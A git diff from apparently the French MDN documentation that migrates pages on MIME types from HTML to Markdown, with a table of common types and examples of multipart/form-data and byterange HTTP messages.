- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ExtensionType de documentType MIME
.aacfichier audio AACaudio/aac
.abwdocument AbiWordapplication/x-abiword
.arcarchive (contenant plusieurs fichiers)application/octet-stream
.aviAVI : Audio Video Interleavevideo/x-msvideo
.azwformat pour eBook Amazon Kindleapplication/vnd.amazon.ebook
.binn'importe quelle donnée binaireapplication/octet-stream
.bmpImages bitmap Windows OS/2image/bmp
.bzarchive BZipapplication/x-bzip
.bz2archive BZip2application/x-bzip2
.cshscript C-Shellapplication/x-csh
.cssfichier Cascading Style Sheets (CSS)text/css
.csvfichier Comma-separated values (CSV)text/csv
.docMicrosoft Wordapplication/msword
.docxMicrosoft Word (OpenXML)application/vnd.openxmlformats-officedocument.wordprocessingml.document
.eotpolice MS Embedded OpenTypeapplication/vnd.ms-fontobject
.epubfichier Electronic publication (EPUB)application/epub+zip
.giffichier Graphics Interchange Format (GIF)image/gif
.htm
- .html		fichier HyperText Markup Language (HTML)text/html
.icoicôneimage/x-icon
.icsélément iCalendartext/calendar
.jararchive Java (JAR)application/java-archive
.jpeg
- .jpg		image JPEGimage/jpeg
.jsJavaScript (ECMAScript)application/javascript
.jsondonnée au format JSONapplication/json
.mid
- .midi		fichier audio Musical Instrument Digital Interface (MIDI)audio/midi
.mpegvidéo MPEGvideo/mpeg
.mpkgpaquet Apple Installerapplication/vnd.apple.installer+xml
.odpprésentation OpenDocumentapplication/vnd.oasis.opendocument.presentation
.odsfeuille de calcul OpenDocumentapplication/vnd.oasis.opendocument.spreadsheet
.odtdocument texte OpenDocumentapplication/vnd.oasis.opendocument.text
.ogafichier audio OGGaudio/ogg
.ogvfichier vidéo OGGvideo/ogg
.ogxOGGapplication/ogg
.otfpolice OpenTypefont/otf
.pngfichier Portable Network Graphicsimage/png
.pdfAdobe Portable Document Format (PDF)application/pdf
.pptprésentation Microsoft PowerPointapplication/vnd.ms-powerpoint
.pptxprésentation Microsoft PowerPoint (OpenXML)application/vnd.openxmlformats-officedocument.presentationml.presentation
.rararchive RARapplication/x-rar-compressed
.rtfRich Text Format (RTF)application/rtf
.shscript shellapplication/x-sh
.svgfichier Scalable Vector Graphics (SVG)image/svg+xml
.swffichier Small web format (SWF) ou Adobe Flashapplication/x-shockwave-flash
.tarfichier d'archive Tape Archive (TAR)application/x-tar
.tif
- .tiff		image au format Tagged Image File Format (TIFF)image/tiff
.tsfichier Typescriptapplication/typescript
.ttfpolice TrueTypefont/ttf
.vsdMicrosoft Visioapplication/vnd.visio
.wavWaveform Audio Formataudio/x-wav
.webafichier audio WEBMaudio/webm
.webmfichier vidéo WEBMvideo/webm
.webpimage WEBPimage/webp
.woffpolice Web Open Font Format (WOFF)font/woff
.woff2police Web Open Font Format (WOFF)font/woff2
.xhtmlXHTMLapplication/xhtml+xml
.xlsMicrosoft Excelapplication/vnd.ms-excel
.xlsxMicrosoft Excel (OpenXML)application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
.xmlXMLapplication/xml
.xulXULapplication/vnd.mozilla.xul+xml
.ziparchive ZIPapplication/zip
.3gpconteneur audio/vidéo 3GPPvideo/3gpp
- audio/3gpp dans le cas où le conteneur ne comprend pas de vidéo
.3g2conteneur audio/vidéo 3GPP2video/3gpp2
- audio/3gpp2 dans le cas où le conteneur ne comprend pas de vidéo
.7zarchive 7-zipapplication/x-7z-compressed
diff --git a/files/fr/web/http/basics_of_http/mime_types/common_types/index.md b/files/fr/web/http/basics_of_http/mime_types/common_types/index.md new file mode 100644 index 0000000000..0fd192adb2 --- /dev/null +++ b/files/fr/web/http/basics_of_http/mime_types/common_types/index.md @@ -0,0 +1,356 @@ +--- +title: Liste des types MIME communs +slug: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types +tags: + - Audio + - HTTP + - Reference + - Types MIME + - Video +translation_of: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types +--- +
{{HTTPSidebar}}
+ +

Voici une liste de types MIME, associés par type et ordonnée par extension.

+ +

Il existe deux types MIME principaux qui jouent un rôle important en terme de types par défaut :

+ + + +

L'IANA constitue le registre officiel pour l'ensemble des types MIME et maintient une liste exhaustive à l'adresse suivante : https://www.iana.org/assignments/media-types/media-types.xhtml. La table ci-dessous se focalise sur les types MIME importants dans le cadre du Web, elle n'est donc pas exhaustive :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ExtensionType de documentType MIME
.aacfichier audio AACaudio/aac
.abwdocument AbiWordapplication/x-abiword
.arcarchive (contenant plusieurs fichiers)application/octet-stream
.aviAVI : Audio Video Interleavevideo/x-msvideo
.azwformat pour eBook Amazon Kindleapplication/vnd.amazon.ebook
.binn'importe quelle donnée binaireapplication/octet-stream
.bmpImages bitmap Windows OS/2image/bmp
.bzarchive BZipapplication/x-bzip
.bz2archive BZip2application/x-bzip2
.cshscript C-Shellapplication/x-csh
.cssfichier Cascading Style Sheets (CSS)text/css
.csvfichier Comma-separated values (CSV)text/csv
.docMicrosoft Wordapplication/msword
.docxMicrosoft Word (OpenXML)application/vnd.openxmlformats-officedocument.wordprocessingml.document
.eotpolice MS Embedded OpenTypeapplication/vnd.ms-fontobject
.epubfichier Electronic publication (EPUB)application/epub+zip
.giffichier Graphics Interchange Format (GIF)image/gif
.htm
+ .html		fichier HyperText Markup Language (HTML)text/html
.icoicôneimage/x-icon
.icsélément iCalendartext/calendar
.jararchive Java (JAR)application/java-archive
.jpeg
+ .jpg		image JPEGimage/jpeg
.jsJavaScript (ECMAScript)application/javascript
.jsondonnée au format JSONapplication/json
.mid
+ .midi		fichier audio Musical Instrument Digital Interface (MIDI)audio/midi
.mpegvidéo MPEGvideo/mpeg
.mpkgpaquet Apple Installerapplication/vnd.apple.installer+xml
.odpprésentation OpenDocumentapplication/vnd.oasis.opendocument.presentation
.odsfeuille de calcul OpenDocumentapplication/vnd.oasis.opendocument.spreadsheet
.odtdocument texte OpenDocumentapplication/vnd.oasis.opendocument.text
.ogafichier audio OGGaudio/ogg
.ogvfichier vidéo OGGvideo/ogg
.ogxOGGapplication/ogg
.otfpolice OpenTypefont/otf
.pngfichier Portable Network Graphicsimage/png
.pdfAdobe Portable Document Format (PDF)application/pdf
.pptprésentation Microsoft PowerPointapplication/vnd.ms-powerpoint
.pptxprésentation Microsoft PowerPoint (OpenXML)application/vnd.openxmlformats-officedocument.presentationml.presentation
.rararchive RARapplication/x-rar-compressed
.rtfRich Text Format (RTF)application/rtf
.shscript shellapplication/x-sh
.svgfichier Scalable Vector Graphics (SVG)image/svg+xml
.swffichier Small web format (SWF) ou Adobe Flashapplication/x-shockwave-flash
.tarfichier d'archive Tape Archive (TAR)application/x-tar
.tif
+ .tiff		image au format Tagged Image File Format (TIFF)image/tiff
.tsfichier Typescriptapplication/typescript
.ttfpolice TrueTypefont/ttf
.vsdMicrosoft Visioapplication/vnd.visio
.wavWaveform Audio Formataudio/x-wav
.webafichier audio WEBMaudio/webm
.webmfichier vidéo WEBMvideo/webm
.webpimage WEBPimage/webp
.woffpolice Web Open Font Format (WOFF)font/woff
.woff2police Web Open Font Format (WOFF)font/woff2
.xhtmlXHTMLapplication/xhtml+xml
.xlsMicrosoft Excelapplication/vnd.ms-excel
.xlsxMicrosoft Excel (OpenXML)application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
.xmlXMLapplication/xml
.xulXULapplication/vnd.mozilla.xul+xml
.ziparchive ZIPapplication/zip
.3gpconteneur audio/vidéo 3GPPvideo/3gpp
+ audio/3gpp dans le cas où le conteneur ne comprend pas de vidéo
.3g2conteneur audio/vidéo 3GPP2video/3gpp2
+ audio/3gpp2 dans le cas où le conteneur ne comprend pas de vidéo
.7zarchive 7-zipapplication/x-7z-compressed
diff --git a/files/fr/web/http/basics_of_http/mime_types/index.html b/files/fr/web/http/basics_of_http/mime_types/index.html deleted file mode 100644 index 7669f3e3c9..0000000000 --- a/files/fr/web/http/basics_of_http/mime_types/index.html +++ /dev/null @@ -1,318 +0,0 @@ ---- -title: Types MIME -slug: Web/HTTP/Basics_of_HTTP/MIME_types -tags: - - Content-Type - - Guide - - HTTP - - Types MIME -translation_of: Web/HTTP/Basics_of_HTTP/MIME_types ---- -
{{HTTPSidebar}}
- -

Le type Multipurpose Internet Mail Extensions (type MIME) est un standard permettant d'indiquer la nature et le format d'un document. Il est défini au sein de la RFC 6838. L'Internet Assigned Numbers Authority (IANA) est l'organisme officiel responsable du suivi de l'ensemble des types MIME officiels existants. Une liste exhaustive et maintenue est consultable sur la page Media Types de l'IANA.

- -

Les navigateurs utilisent le plus souvent le type MIME et non l'extension d'un fichier pour déterminer la façon dont ils vont traiter ou afficher un document. Il est donc important que les serveurs puissent correctement attacher le type MIME dans l'en-tête de la réponse qu'ils renvoient.

- -

Syntaxe

- -

Structure générale

- -
type/sous-type
- -

La structure d'un type MIME est simple, elle est composée d'un type et d'un sous-type. Les deux chaînes de caractères sont séparées par un '/'. Les caractères d'espacement ne sont pas autorisés. Le type représente la catégorie et peut être particulier ou composé lorsqu'il regroupe plusieurs formats. Le sous-type est spécifique à chaque type.

- -

Un type MIME est insensible à la casse mais il s'écrit usuellement en minuscule.

- -

Types particuliers

- -
text/plain
-text/html
-image/jpeg
-image/png
-audio/mpeg
-audio/ogg
-audio/*
-video/mp4
-application/octet-stream
-…
- -

Les types particuliers indiquent la catégorie d'un document. Les valeurs possibles sont :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
TypeDescriptionExemple de sous-type communément associé
textReprésente n'importe quel document contenant du texte et qui est théoriquement lisible par un utilisateur.text/plain, text/html, text/css, text/javascript
imageReprésente n'importe quelle image. Les vidéos ne font pas partie de ce type bien que les images animées tels les GIFs animés) font partie de ce type.image/gif, image/png, image/jpeg, image/bmp, image/webp
audioReprésente n'importe quel fichier audio.audio/midi, audio/mpeg, audio/webm, audio/ogg, audio/wav
videoReprésente n'importe quel fichier vidéo.video/webm, video/ogg
applicationReprésente n'importe quelle donnée binaire.application/octet-stream, application/pkcs12, application/vnd.mspowerpoint, application/xhtml+xml, application/xml, application/pdf
- -

text/plain doit être utilisé pour tous les documents texte sans sous-type spécifique. De la même façon, les documents binaires sans sous-type ou dont le sous-type est inconnu doivent utiliser application/octet-stream.

- -

Types composés ou multipart

- -
multipart/form-data
-multipart/byteranges
- -

Les types composés, aussi appelés types multipart indiquent une catégorie de document qui sont constitués de différents éléments. A l'exception de multipart/form-data, utilisé en association avec des formulaires HTML et la méthode {{HTTPMethod("POST")}} et de multipart/byteranges, utilisé avec le statut HTTP {{HTTPStatus("206")}} Partial Content renvoyant uniquement une sous-partie du document ce qui entraînera vraisemblablement l'apparition d'une fenêtre "Enregistrer sous" étant donné que HTTP ne gère pas ces documents de manière différente et que le navigateur ne saura pas commment afficher ce document incomplet.

- -

Types MIME utiles pour les développeurs web

- -

application/octet-stream

- -

Il s'agit de la valeur par défaut pour un fichier binaire. Etant donné qu'il signifie fichier binaire inconnu il est probable que les navigateurs ne l'exécutent pas automatiquement et que l'utilisateur ne puisse pas l'exécuter directement dans le navigateur. Le comportement sera alors le même que si l'en-tête {{HTTPHeader("Content-Disposition")}} était présente avec la valeur attachment et proposera une invite "Enregistrer sous".

- -

text/plain

- -

Il s'agit de la valeur par défaut pour les fichiers texte. Bien qu'il signifie fichier texte de format inconnu, les navigateurs prendront pour hypothèse qu'ils peuvent l'afficher.

- -
-

Note : Il est important de noter que text/plain ne signifie pas tous les formats de fichiers textuels. Si le client s'attend à recevoir un format particulier de données textuelles, il est vraisemblable que le type text/plain ne soit pas considéré comme valide à la réception. Par exemple, si le client télécharge un fichier text/plain à partir d'un {{HTMLElement("link")}} déclarant des fichiers CSS, ce dernier ne sera pas considéré comme un CSS, le type MIME à utiliser étant text/css.

-
- -

text/css

- -

N'importe quel fichier CSS qui doit être interprété comme pour servir une page web doit être de type text/css. Bien souvent, les serveurs ne sont pas en mesure de reconnaître les fichiers ayant l'extension .css comme étant des fichiers CSS, ces derniers sont donc transmis avec le type MIME text/plain ou application/octet-stream. Dès lors, les navigateurs ne les considèreront pas comme des fichiers CSS et ils seront ignorés. Il est donc important de servir les fichiers CSS à l'aide du type approprié.

- -

text/html

- -

L'ensemble du contenu HTML doit être renvoyé à l'aide de ce type. Les types MIME pour XHTML (comme application/xml+html) ne sont actuellement plus utilisés (HTML5 ayant unifié ces formats).

- -

Formats d'images

- -

Seuls quelques types MIME associés à des images sont largement reconnus et considérés comme pouvant être utilisé sans risque sur le Web, on peut donc directement les intégrer dans une page web :

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Type MIMEFormat d'image
image/gifimages GIF (compression sans perte, remplacé par PNG)
image/jpegimages JPEG
image/pngimages PNG
image/svg+xmlimages SVG (images vectorielles)
- -

Il y a un débat quant à l'ajout de WebP (image/webp) à cette liste. En effet l'ajout d'un nouveau format mènerait à une augmentation du nombre de cas à gérer et pourrait introduire des problématiques de sécurité, pour ces raisons les constructeurs de navigateurs font preuve de précaution avant de l'intégrer.

- -

D'autres formats d'images peuvent constituer un document web. Par exemple, la plupart des navigateurs web supportent les types des images favicon, le format ICO étant pris en charge à l'aide du type MIME image/x-icon.

- -

Formats audios et vidéos

- -

Comme pour les images, HTML ne définit pas de liste de formats supportés pour les éléments {{HTMLElement("audio")}} et {{HTMLElement("video")}}. Dès lors, seul un ensemble restreint de formats est en mesure d'être utilisé sur le Web. La page Formats pris en charge par les balises audio et video détaille les codecs et les formats qui peuvent être employés.

- -

Le format MIME de ces fichiers représente généralement le format du conteneur contenant le fichier. Dans le cas du Web, les formats les plus courants sont :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Type MIMEFormat audio et vidéo
audio/wave
- audio/wav
- audio/x-wav
- audio/x-pn-wav		Un fichier audio WAVE. Le codec audio PCM (WAVE codec "1") est souvent pris en charge tandis que les autres codecs offrent une prise en charge moindre (lorsqu'elle existe).
audio/webmUn fichier audio WebM. Les codecs les plus fréquemment associés sont Vorbis et Opus.
video/webmUn fichier vidéo, pouvant contenir de l'audio, au format WebM. Les codecs vidéos VP8 et VP9 sont les plus communs tandis que Vorbis and Opus constituent les codecs audios les plus fréquents.
audio/oggUn fichier audio au format OGG. Vorbis est le codec audio le plus utilisé pour traiter ce genre de format conteneur.
video/oggUn fichier vidéo, pouvant contenir de l'audio, au format OGG. Theora est le codec vidéo habituel pour ce genre de conteneur tandis que Vorbis est utilisé pour l'audio.
-

application/ogg

- 		-

Un fichier audio ou vidéo au format OGG. Theora et Vorbis constituent respectivement les codecs vidéo et audio souvent utilisés.

-
- -

multipart/form-data

- -

Le type multipart/form-data peut être utilisé lors de l'envoi du contenu d'un formulaire HTML du navigateur vers le serveur. En tant que document composé ou multipart il est constitué de différentes parties délimitées par une frontière (une chaîne de caractères débutant par un tiret double '--'). Chaque partie est une entité propre qui possède ses propres en-têtes {{HTTPHeader("Content-Disposition")}} et {{HTTPHeader("Content-Type")}} lorsqu'il s'agit d'un champ permettant de téléverser un fichier. L'en-tête ({{HTTPHeader("Content-Length")}} est ignorée puisque la limite est assurée par la frontière.

- -
Content-Type: multipart/form-data; boundary=aChaineDeDélimitation
-(en-têtes divers associés à l'ensemble du document)
-
---aChaineDeDélimitation
-Content-Disposition: form-data; name="monFichier"; filename="img.jpg"
-Content-Type: image/jpeg
-
-(données)
---aChaineDeDélimitation
-Content-Disposition: form-data; name="monChamp"
-
-(données)
---aChaineDeDélimitation
-(éléments additionnels)
---aChaineDeDélimitation--
-
-
- -

Le formulaire suivant :

- -
<form action="http://localhost:8000/" method="post" enctype="multipart/form-data">
-  <input type="text" name="monChampTexte">
-  <input type="checkbox" name="maCheckBox">Check</input>
-  <input type="file" name="monFichier">
-  <button>Envoyer le fichier</button>
-</form>
- -

enverra le message suivant :

- -
POST / HTTP/1.1
-Host: localhost:8000
-User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-US,en;q=0.5
-Accept-Encoding: gzip, deflate
-Connection: keep-alive
-Upgrade-Insecure-Requests: 1
-Content-Type: multipart/form-data; boundary=---------------------------8721656041911415653955004498
-Content-Length: 465
-
------------------------------8721656041911415653955004498
-Content-Disposition: form-data; name="monChampTexte"
-
-Test
------------------------------8721656041911415653955004498
-Content-Disposition: form-data; name="maCheckBox"
-
-sur
------------------------------8721656041911415653955004498
-Content-Disposition: form-data; name="monFichier"; filename="test.txt"
-Content-Type: text/plain
-
-un fichier simple.
------------------------------8721656041911415653955004498--
-
-
- -

multipart/byteranges

- -

Le type MIME multipart/byteranges est utilisé lors qu'il s'agit d'envoyer une réponse partielle au navigateur. Lorsque le statut {{HTTPStatus("206")}} Partial Content est envoyé, ce type MIME sert pour indiquer que le document est constitué de plusieurs parties. Comme les types composés, l'en-tête {{HTTPHeader("Content-Type")}} utilise la directive boundary pour définir une chaîne de délimitation. Chaque partie possède son en-tête {{HTTPHeader("Content-Type")}} ainsi que {{HTTPHeader("Content-Range")}} qui spécifie le morceau que cette partie représente.

- -
HTTP/1.1 206 Partial Content
-Accept-Ranges: bytes
-Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5
-Content-Length: 385
-
---3d6b6a416f9b5
-Content-Type: text/html
-Content-Range: bytes 100-200/1270
-
-eta http-equiv="Content-type" content="text/html; charset=utf-8" />
-    <meta name="vieport" content
---3d6b6a416f9b5
-Content-Type: text/html
-Content-Range: bytes 300-400/1270
-
--color: #f0f0f2;
-        margin: 0;
-        padding: 0;
-        font-family: "Open Sans", "Helvetica
---3d6b6a416f9b5--
- -

De l'importance de définir correctement un type MIME

- -

La plupart des serveurs envoient des ressources de format inconnu et donc utilisent le type par défaut application/octet-stream. Pour des considérations de sécurité, les navigateurs n'effectuent pas d'action par défaut pour les ressources de ce type, ce qui oblige l'utilisateur à stocker le fichier sur son dique pour l'utiliser. Voici les erreurs communes de configuration côté serveur pour les formats suivants :

- - - -

Détection de type MIME

- -

Lorsque le type MIME est absent ou lorsque le client détecte que le type MIME a été mal associé, les navigateurs peuvent pratiquer la détection de type MIME via l'analyse de la ressource. Chaque navigateur implémente cette technique différemment et l'utilise dans des contextes différents. Il existe des problématiques de sécurité, étant donné que certaines ressources sont des fichiers exécutables et d'autres non. Les serveurs peuvent empêcher la détection de type MIME par le navigateur en envoyant l'en-tête {{HTTPHeader("X-Content-Type-Options")}} associé à {{HTTPHeader("Content-Type")}}.

- -

Autres méthodes pour transporter le format d'un document

- -

Les types MIME ne sont pas la seule façon existante pour gérer le format d'un document :

- - - -

Voir aussi

- - diff --git a/files/fr/web/http/basics_of_http/mime_types/index.md b/files/fr/web/http/basics_of_http/mime_types/index.md new file mode 100644 index 0000000000..7669f3e3c9 --- /dev/null +++ b/files/fr/web/http/basics_of_http/mime_types/index.md @@ -0,0 +1,318 @@ +--- +title: Types MIME +slug: Web/HTTP/Basics_of_HTTP/MIME_types +tags: + - Content-Type + - Guide + - HTTP + - Types MIME +translation_of: Web/HTTP/Basics_of_HTTP/MIME_types +--- +
{{HTTPSidebar}}
+ +

Le type Multipurpose Internet Mail Extensions (type MIME) est un standard permettant d'indiquer la nature et le format d'un document. Il est défini au sein de la RFC 6838. L'Internet Assigned Numbers Authority (IANA) est l'organisme officiel responsable du suivi de l'ensemble des types MIME officiels existants. Une liste exhaustive et maintenue est consultable sur la page Media Types de l'IANA.

+ +

Les navigateurs utilisent le plus souvent le type MIME et non l'extension d'un fichier pour déterminer la façon dont ils vont traiter ou afficher un document. Il est donc important que les serveurs puissent correctement attacher le type MIME dans l'en-tête de la réponse qu'ils renvoient.

+ +

Syntaxe

+ +

Structure générale

+ +
type/sous-type
+ +

La structure d'un type MIME est simple, elle est composée d'un type et d'un sous-type. Les deux chaînes de caractères sont séparées par un '/'. Les caractères d'espacement ne sont pas autorisés. Le type représente la catégorie et peut être particulier ou composé lorsqu'il regroupe plusieurs formats. Le sous-type est spécifique à chaque type.

+ +

Un type MIME est insensible à la casse mais il s'écrit usuellement en minuscule.

+ +

Types particuliers

+ +
text/plain
+text/html
+image/jpeg
+image/png
+audio/mpeg
+audio/ogg
+audio/*
+video/mp4
+application/octet-stream
+…
+ +

Les types particuliers indiquent la catégorie d'un document. Les valeurs possibles sont :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TypeDescriptionExemple de sous-type communément associé
textReprésente n'importe quel document contenant du texte et qui est théoriquement lisible par un utilisateur.text/plain, text/html, text/css, text/javascript
imageReprésente n'importe quelle image. Les vidéos ne font pas partie de ce type bien que les images animées tels les GIFs animés) font partie de ce type.image/gif, image/png, image/jpeg, image/bmp, image/webp
audioReprésente n'importe quel fichier audio.audio/midi, audio/mpeg, audio/webm, audio/ogg, audio/wav
videoReprésente n'importe quel fichier vidéo.video/webm, video/ogg
applicationReprésente n'importe quelle donnée binaire.application/octet-stream, application/pkcs12, application/vnd.mspowerpoint, application/xhtml+xml, application/xml, application/pdf
+ +

text/plain doit être utilisé pour tous les documents texte sans sous-type spécifique. De la même façon, les documents binaires sans sous-type ou dont le sous-type est inconnu doivent utiliser application/octet-stream.

+ +

Types composés ou multipart

+ +
multipart/form-data
+multipart/byteranges
+ +

Les types composés, aussi appelés types multipart indiquent une catégorie de document qui sont constitués de différents éléments. A l'exception de multipart/form-data, utilisé en association avec des formulaires HTML et la méthode {{HTTPMethod("POST")}} et de multipart/byteranges, utilisé avec le statut HTTP {{HTTPStatus("206")}} Partial Content renvoyant uniquement une sous-partie du document ce qui entraînera vraisemblablement l'apparition d'une fenêtre "Enregistrer sous" étant donné que HTTP ne gère pas ces documents de manière différente et que le navigateur ne saura pas commment afficher ce document incomplet.

+ +

Types MIME utiles pour les développeurs web

+ +

application/octet-stream

+ +

Il s'agit de la valeur par défaut pour un fichier binaire. Etant donné qu'il signifie fichier binaire inconnu il est probable que les navigateurs ne l'exécutent pas automatiquement et que l'utilisateur ne puisse pas l'exécuter directement dans le navigateur. Le comportement sera alors le même que si l'en-tête {{HTTPHeader("Content-Disposition")}} était présente avec la valeur attachment et proposera une invite "Enregistrer sous".

+ +

text/plain

+ +

Il s'agit de la valeur par défaut pour les fichiers texte. Bien qu'il signifie fichier texte de format inconnu, les navigateurs prendront pour hypothèse qu'ils peuvent l'afficher.

+ +
+

Note : Il est important de noter que text/plain ne signifie pas tous les formats de fichiers textuels. Si le client s'attend à recevoir un format particulier de données textuelles, il est vraisemblable que le type text/plain ne soit pas considéré comme valide à la réception. Par exemple, si le client télécharge un fichier text/plain à partir d'un {{HTMLElement("link")}} déclarant des fichiers CSS, ce dernier ne sera pas considéré comme un CSS, le type MIME à utiliser étant text/css.

+
+ +

text/css

+ +

N'importe quel fichier CSS qui doit être interprété comme pour servir une page web doit être de type text/css. Bien souvent, les serveurs ne sont pas en mesure de reconnaître les fichiers ayant l'extension .css comme étant des fichiers CSS, ces derniers sont donc transmis avec le type MIME text/plain ou application/octet-stream. Dès lors, les navigateurs ne les considèreront pas comme des fichiers CSS et ils seront ignorés. Il est donc important de servir les fichiers CSS à l'aide du type approprié.

+ +

text/html

+ +

L'ensemble du contenu HTML doit être renvoyé à l'aide de ce type. Les types MIME pour XHTML (comme application/xml+html) ne sont actuellement plus utilisés (HTML5 ayant unifié ces formats).

+ +

Formats d'images

+ +

Seuls quelques types MIME associés à des images sont largement reconnus et considérés comme pouvant être utilisé sans risque sur le Web, on peut donc directement les intégrer dans une page web :

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Type MIMEFormat d'image
image/gifimages GIF (compression sans perte, remplacé par PNG)
image/jpegimages JPEG
image/pngimages PNG
image/svg+xmlimages SVG (images vectorielles)
+ +

Il y a un débat quant à l'ajout de WebP (image/webp) à cette liste. En effet l'ajout d'un nouveau format mènerait à une augmentation du nombre de cas à gérer et pourrait introduire des problématiques de sécurité, pour ces raisons les constructeurs de navigateurs font preuve de précaution avant de l'intégrer.

+ +

D'autres formats d'images peuvent constituer un document web. Par exemple, la plupart des navigateurs web supportent les types des images favicon, le format ICO étant pris en charge à l'aide du type MIME image/x-icon.

+ +

Formats audios et vidéos

+ +

Comme pour les images, HTML ne définit pas de liste de formats supportés pour les éléments {{HTMLElement("audio")}} et {{HTMLElement("video")}}. Dès lors, seul un ensemble restreint de formats est en mesure d'être utilisé sur le Web. La page Formats pris en charge par les balises audio et video détaille les codecs et les formats qui peuvent être employés.

+ +

Le format MIME de ces fichiers représente généralement le format du conteneur contenant le fichier. Dans le cas du Web, les formats les plus courants sont :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Type MIMEFormat audio et vidéo
audio/wave
+ audio/wav
+ audio/x-wav
+ audio/x-pn-wav		Un fichier audio WAVE. Le codec audio PCM (WAVE codec "1") est souvent pris en charge tandis que les autres codecs offrent une prise en charge moindre (lorsqu'elle existe).
audio/webmUn fichier audio WebM. Les codecs les plus fréquemment associés sont Vorbis et Opus.
video/webmUn fichier vidéo, pouvant contenir de l'audio, au format WebM. Les codecs vidéos VP8 et VP9 sont les plus communs tandis que Vorbis and Opus constituent les codecs audios les plus fréquents.
audio/oggUn fichier audio au format OGG. Vorbis est le codec audio le plus utilisé pour traiter ce genre de format conteneur.
video/oggUn fichier vidéo, pouvant contenir de l'audio, au format OGG. Theora est le codec vidéo habituel pour ce genre de conteneur tandis que Vorbis est utilisé pour l'audio.
+

application/ogg

+ 		+

Un fichier audio ou vidéo au format OGG. Theora et Vorbis constituent respectivement les codecs vidéo et audio souvent utilisés.

+
+ +

multipart/form-data

+ +

Le type multipart/form-data peut être utilisé lors de l'envoi du contenu d'un formulaire HTML du navigateur vers le serveur. En tant que document composé ou multipart il est constitué de différentes parties délimitées par une frontière (une chaîne de caractères débutant par un tiret double '--'). Chaque partie est une entité propre qui possède ses propres en-têtes {{HTTPHeader("Content-Disposition")}} et {{HTTPHeader("Content-Type")}} lorsqu'il s'agit d'un champ permettant de téléverser un fichier. L'en-tête ({{HTTPHeader("Content-Length")}} est ignorée puisque la limite est assurée par la frontière.

+ +
Content-Type: multipart/form-data; boundary=aChaineDeDélimitation
+(en-têtes divers associés à l'ensemble du document)
+
+--aChaineDeDélimitation
+Content-Disposition: form-data; name="monFichier"; filename="img.jpg"
+Content-Type: image/jpeg
+
+(données)
+--aChaineDeDélimitation
+Content-Disposition: form-data; name="monChamp"
+
+(données)
+--aChaineDeDélimitation
+(éléments additionnels)
+--aChaineDeDélimitation--
+
+
+ +

Le formulaire suivant :

+ +
<form action="http://localhost:8000/" method="post" enctype="multipart/form-data">
+  <input type="text" name="monChampTexte">
+  <input type="checkbox" name="maCheckBox">Check</input>
+  <input type="file" name="monFichier">
+  <button>Envoyer le fichier</button>
+</form>
+ +

enverra le message suivant :

+ +
POST / HTTP/1.1
+Host: localhost:8000
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Connection: keep-alive
+Upgrade-Insecure-Requests: 1
+Content-Type: multipart/form-data; boundary=---------------------------8721656041911415653955004498
+Content-Length: 465
+
+-----------------------------8721656041911415653955004498
+Content-Disposition: form-data; name="monChampTexte"
+
+Test
+-----------------------------8721656041911415653955004498
+Content-Disposition: form-data; name="maCheckBox"
+
+sur
+-----------------------------8721656041911415653955004498
+Content-Disposition: form-data; name="monFichier"; filename="test.txt"
+Content-Type: text/plain
+
+un fichier simple.
+-----------------------------8721656041911415653955004498--
+
+
+ +

multipart/byteranges

+ +

Le type MIME multipart/byteranges est utilisé lors qu'il s'agit d'envoyer une réponse partielle au navigateur. Lorsque le statut {{HTTPStatus("206")}} Partial Content est envoyé, ce type MIME sert pour indiquer que le document est constitué de plusieurs parties. Comme les types composés, l'en-tête {{HTTPHeader("Content-Type")}} utilise la directive boundary pour définir une chaîne de délimitation. Chaque partie possède son en-tête {{HTTPHeader("Content-Type")}} ainsi que {{HTTPHeader("Content-Range")}} qui spécifie le morceau que cette partie représente.

+ +
HTTP/1.1 206 Partial Content
+Accept-Ranges: bytes
+Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5
+Content-Length: 385
+
+--3d6b6a416f9b5
+Content-Type: text/html
+Content-Range: bytes 100-200/1270
+
+eta http-equiv="Content-type" content="text/html; charset=utf-8" />
+    <meta name="vieport" content
+--3d6b6a416f9b5
+Content-Type: text/html
